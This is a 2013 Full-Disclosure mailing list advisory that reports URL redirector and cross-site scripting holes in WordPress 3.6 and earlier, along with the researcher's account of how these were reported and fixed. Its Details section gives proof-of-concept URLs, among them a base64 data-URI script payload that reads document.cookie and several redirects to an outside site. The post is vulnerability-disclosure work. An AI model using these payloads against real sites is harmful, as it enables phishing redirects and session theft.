URL Redirector Abuse and XSS vulnerabilities in WordPress

["MustLive" <mustlive () websecurity com ua>]

Hello list!

As I've announced earlier (http://seclists.org/fulldisclosure/2013/Nov/219),
I conducted a Day of bugs in WordPress 3. At 30.11.2013 I disclosed many new
vulnerabilities in WordPress. I've disclosed 10 holes (they were placed at
my site for your attention). And this is translation of the third part of
these holes.

These are URL Redirector Abuse and Cross-Site Scripting vulnerabilities in
WordPress. These are just few from multiple such holes in WP.

I informed WordPress developers about the first two redirector holes in 2007
(and proposed a fix, which I released in my MustLive Security Pack), but
they at first ignored them and then hiddenly fixed them in WP 2.3. After my
informing about redirectors in 2007 (two ones) and in 2012 (in
wp-comments-post.php and Akismet plugin, which is bundled with WP), thus I
made a hint that there are a lot of such holes in WP, the developers fixed
the first two vulnerabilities in 2007 and vulnerabilities in Akismet and
below-mentioned vulnerabilities were fixed only in WP 3.6.1 (at 11.09.2013),
when they made "global fix" for all redirectors in engine.

-------------------------
Affected products:
-------------------------

Vulnerable are WordPress 3.6 and previous versions (for one Redirector
vulnerable are only versions 3.0 - 3.6).

----------
Details:
----------

Redirector (URL Redirector Abuse) (WASC-38):

http://site/wp-admin/edit-tags.php?action=delete&_wp_http_referer=http://websecurity.com.ua/?edit-tags.php

XSS (WASC-08):

http://site/wp-admin/edit-tags.php?action=delete&_wp_http_referer=data:text/html;edit-tags.php;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Redirector (URL Redirector Abuse) (WASC-38):

Only Redirector is possible, but not XSS (due to filtration of important
characters). For the attack it's needed to know value of _wpnonce.

http://site/wp-admin/edit-tags.php?action=add-tag&_wpnonce=096ea8dbbd&_wp_original_http_referer=http://websecurity.com.ua/?edit-tags.php

For this Redirector vulnerable are WordPress 3.0 - 3.6. And for these two
vulnerable are WordPress 3.6 and previous versions:

http://site/wp-admin/edit-tags.php?action=bulk-delete&_wpnonce=ebee6d0330&_wp_http_referer=http://websecurity.com.ua/?edit-tags.php

http://site/wp-admin/media.php?action=editattachment&_wpnonce=2fa131c992&_wp_original_http_referer=http://websecurity.com.ua/?upload.php

------------
Timeline:
------------ 

2013.11.30 - disclosed at my site (http://websecurity.com.ua/6907/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/